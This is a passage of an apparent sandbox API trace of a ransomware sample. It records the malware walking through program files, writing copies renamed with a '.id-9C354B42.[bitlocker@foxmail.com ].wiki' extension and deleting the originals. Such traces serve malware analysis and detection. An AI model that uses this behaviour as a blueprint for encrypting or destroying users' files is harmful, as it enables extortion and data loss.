returned 4 [0060.304] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0060.304] lstrlenW (lpString=".docx") returned 5 [0060.304] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0060.304] lstrlenW (lpString=".pdf") returned 4 [0060.304] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0060.304] lstrlenW (lpString=".xls") returned 4 [0060.304] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0060.304] lstrlenW (lpString=".xlsx") returned 5 [0060.304] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0060.304] lstrlenW (lpString=".ppt") returned 4 [0060.304] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0060.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.305] lstrlenW (lpString=".zip") returned 4 [0060.305] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0060.305] lstrlenW (lpString=".rar") returned 4 [0060.305] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0060.305] lstrlenW (lpString=".bz2") returned 4 [0060.305] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0060.305] lstrlenW (lpString=".7z") returned 3 [0060.305] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0060.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.305] lstrlenW (lpString=".dbf") returned 4 [0060.305] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0060.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.305] lstrlenW (lpString=".1cd") returned 4 [0060.305] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0060.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.305] lstrlenW (lpString=".jpg") returned 4 [0060.305] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0060.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.305] lstrlenW (lpString=".doc") returned 4 [0060.305] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0060.305] lstrlenW (lpString=".docx") returned 5 [0060.305] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0060.305] lstrlenW (lpString=".pdf") returned 4 [0060.305] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0060.305] lstrlenW (lpString=".xls") returned 4 [0060.305] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0060.305] lstrlenW (lpString=".xlsx") returned 5 [0060.305] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0060.305] lstrlenW (lpString=".ppt") returned 4 [0060.305] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0060.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.305] lstrlenW (lpString=".zip") returned 4 [0060.305] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0060.305] lstrlenW (lpString=".rar") returned 4 [0060.306] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0060.306] lstrlenW (lpString=".bz2") returned 4 [0060.306] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0060.306] lstrlenW (lpString=".7z") returned 3 [0060.306] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0060.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.306] lstrlenW (lpString=".dbf") returned 4 [0060.306] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0060.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.306] lstrlenW (lpString=".1cd") returned 4 [0060.306] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0060.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0060.306] lstrlenW (lpString=".jpg") returned 4 [0060.306] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0060.306] lstrcmpiW (lpString1=".sys", lpString2=".wiki") returned -1 [0060.306] lstrlenW (lpString="pagefile.sys") returned 12 [0060.306] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.306] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.306] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.306] lstrlenW (lpString=".doc") returned 4 [0060.306] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0060.306] lstrlenW (lpString=".docx") returned 5 [0060.306] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0060.306] lstrlenW (lpString=".pdf") returned 4 [0060.306] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0060.306] lstrlenW (lpString=".xls") returned 4 [0060.306] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0060.306] lstrlenW (lpString=".xlsx") returned 5 [0060.306] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0060.306] lstrlenW (lpString=".ppt") returned 4 [0060.307] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0060.307] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.307] lstrlenW (lpString=".zip") returned 4 [0060.307] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0060.307] lstrlenW (lpString=".rar") returned 4 [0060.307] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0060.307] lstrlenW (lpString=".bz2") returned 4 [0060.307] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0060.307] lstrlenW (lpString=".7z") returned 3 [0060.307] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0060.307] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.307] lstrlenW (lpString=".dbf") returned 4 [0060.307] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0060.307] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.307] lstrlenW (lpString=".1cd") returned 4 [0060.307] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0060.307] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.307] lstrlenW (lpString=".jpg") returned 4 [0060.307] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0060.307] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.307] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.307] lstrlenW (lpString=".doc") returned 4 [0060.307] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0060.307] lstrlenW (lpString=".docx") returned 5 [0060.307] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0060.307] lstrlenW (lpString=".pdf") returned 4 [0060.307] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0060.307] lstrlenW (lpString=".xls") returned 4 [0060.307] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0060.307] lstrlenW (lpString=".xlsx") returned 5 [0060.307] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0060.307] lstrlenW (lpString=".ppt") returned 4 [0060.307] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0060.307] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.307] lstrlenW (lpString=".zip") returned 4 [0060.307] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0060.308] lstrlenW (lpString=".rar") returned 4 [0060.308] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0060.308] lstrlenW (lpString=".bz2") returned 4 [0060.308] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0060.308] lstrlenW (lpString=".7z") returned 3 [0060.308] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0060.308] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.308] lstrlenW (lpString=".dbf") returned 4 [0060.308] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0060.308] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.308] lstrlenW (lpString=".1cd") returned 4 [0060.308] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0060.308] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0060.308] lstrlenW (lpString=".jpg") returned 4 [0060.308] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0060.308] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0060.308] lstrlenW (lpString="MSADDNDR.DLL") returned 12 [0060.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.754] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=99136) returned 1 [0060.754] CloseHandle (hObject=0x21c) returned 1 [0060.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0060.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0060.754] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.754] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0060.755] GetLastError () returned 0x0 [0060.755] ReadFile (in: hFile=0x21c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x18340, lpOverlapped=0x0) returned 1 [0060.758] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x18350, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x18350, lpOverlapped=0x0) returned 1 [0060.761] ReadFile (in: hFile=0x21c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.761] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.761] SetEndOfFile (hFile=0x168) returned 1 [0060.761] CloseHandle (hObject=0x168) returned 1 [0060.761] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.761] SetEndOfFile (hFile=0x21c) returned 1 [0060.762] CloseHandle (hObject=0x21c) returned 1 [0060.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0060.763] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 1 [0060.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.763] lstrlenW (lpString=".doc") returned 4 [0060.763] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.763] lstrlenW (lpString=".docx") returned 5 [0060.763] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0060.763] lstrlenW (lpString=".pdf") returned 4 [0060.763] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.763] lstrlenW (lpString=".xls") returned 4 [0060.763] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.763] lstrlenW (lpString=".xlsx") returned 5 [0060.763] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0060.763] lstrlenW (lpString=".ppt") returned 4 [0060.763] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.763] lstrlenW (lpString=".zip") returned 4 [0060.763] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.764] lstrlenW (lpString=".rar") returned 4 [0060.764] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.764] lstrlenW (lpString=".bz2") returned 4 [0060.764] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.764] lstrlenW (lpString=".7z") returned 3 [0060.764] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.764] lstrlenW (lpString=".dbf") returned 4 [0060.764] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.764] lstrlenW (lpString=".1cd") returned 4 [0060.764] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.764] lstrlenW (lpString=".jpg") returned 4 [0060.764] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.764] lstrlenW (lpString=".doc") returned 4 [0060.764] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.764] lstrlenW (lpString=".docx") returned 5 [0060.764] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0060.764] lstrlenW (lpString=".pdf") returned 4 [0060.764] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.764] lstrlenW (lpString=".xls") returned 4 [0060.764] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.764] lstrlenW (lpString=".xlsx") returned 5 [0060.764] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0060.764] lstrlenW (lpString=".ppt") returned 4 [0060.764] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.764] lstrlenW (lpString=".zip") returned 4 [0060.764] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.764] lstrlenW (lpString=".rar") returned 4 [0060.764] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.765] lstrlenW (lpString=".bz2") returned 4 [0060.765] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.765] lstrlenW (lpString=".7z") returned 3 [0060.765] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.765] lstrlenW (lpString=".dbf") returned 4 [0060.765] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.765] lstrlenW (lpString=".1cd") returned 4 [0060.765] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL") returned 51 [0060.765] lstrlenW (lpString=".jpg") returned 4 [0060.765] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.765] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0060.765] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0060.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.733] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=629664) returned 1 [0061.734] CloseHandle (hObject=0x1f0) returned 1 [0061.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0061.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.734] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.734] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.734] GetLastError () returned 0x0 [0061.734] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0061.763] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0061.775] ReadFile (in: hFile=0x1f0, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.775] WriteFile (in: hFile=0x1e8, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.775] SetEndOfFile (hFile=0x1e8) returned 1 [0061.775] CloseHandle (hObject=0x1e8) returned 1 [0061.775] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.775] SetEndOfFile (hFile=0x1f0) returned 1 [0061.781] CloseHandle (hObject=0x1f0) returned 1 [0061.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.781] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0061.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.781] lstrlenW (lpString=".doc") returned 4 [0061.781] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0061.781] lstrlenW (lpString=".docx") returned 5 [0061.781] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0061.781] lstrlenW (lpString=".pdf") returned 4 [0061.781] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0061.781] lstrlenW (lpString=".xls") returned 4 [0061.781] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0061.781] lstrlenW (lpString=".xlsx") returned 5 [0061.781] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0061.781] lstrlenW (lpString=".ppt") returned 4 [0061.782] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0061.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.782] lstrlenW (lpString=".zip") returned 4 [0061.782] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0061.782] lstrlenW (lpString=".rar") returned 4 [0061.782] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0061.782] lstrlenW (lpString=".bz2") returned 4 [0061.782] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0061.782] lstrlenW (lpString=".7z") returned 3 [0061.782] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0061.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.782] lstrlenW (lpString=".dbf") returned 4 [0061.782] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0061.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.782] lstrlenW (lpString=".1cd") returned 4 [0061.782] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0061.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.782] lstrlenW (lpString=".jpg") returned 4 [0061.782] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0061.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.782] lstrlenW (lpString=".doc") returned 4 [0061.782] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0061.782] lstrlenW (lpString=".docx") returned 5 [0061.783] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0061.783] lstrlenW (lpString=".pdf") returned 4 [0061.783] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0061.783] lstrlenW (lpString=".xls") returned 4 [0061.783] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0061.783] lstrlenW (lpString=".xlsx") returned 5 [0061.783] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0061.783] lstrlenW (lpString=".ppt") returned 4 [0061.783] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0061.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.783] lstrlenW (lpString=".zip") returned 4 [0061.783] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0061.783] lstrlenW (lpString=".rar") returned 4 [0061.783] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0061.783] lstrlenW (lpString=".bz2") returned 4 [0061.783] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0061.783] lstrlenW (lpString=".7z") returned 3 [0061.783] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0061.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.783] lstrlenW (lpString=".dbf") returned 4 [0061.783] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0061.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.783] lstrlenW (lpString=".1cd") returned 4 [0061.783] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0061.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0061.783] lstrlenW (lpString=".jpg") returned 4 [0061.783] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0061.783] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0061.783] lstrlenW (lpString="VISFILT.DLL") returned 11 [0061.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0062.223] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2124664) returned 1 [0062.223] CloseHandle (hObject=0x1f8) returned 1 [0062.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll")) returned 0x20 [0062.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0062.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft 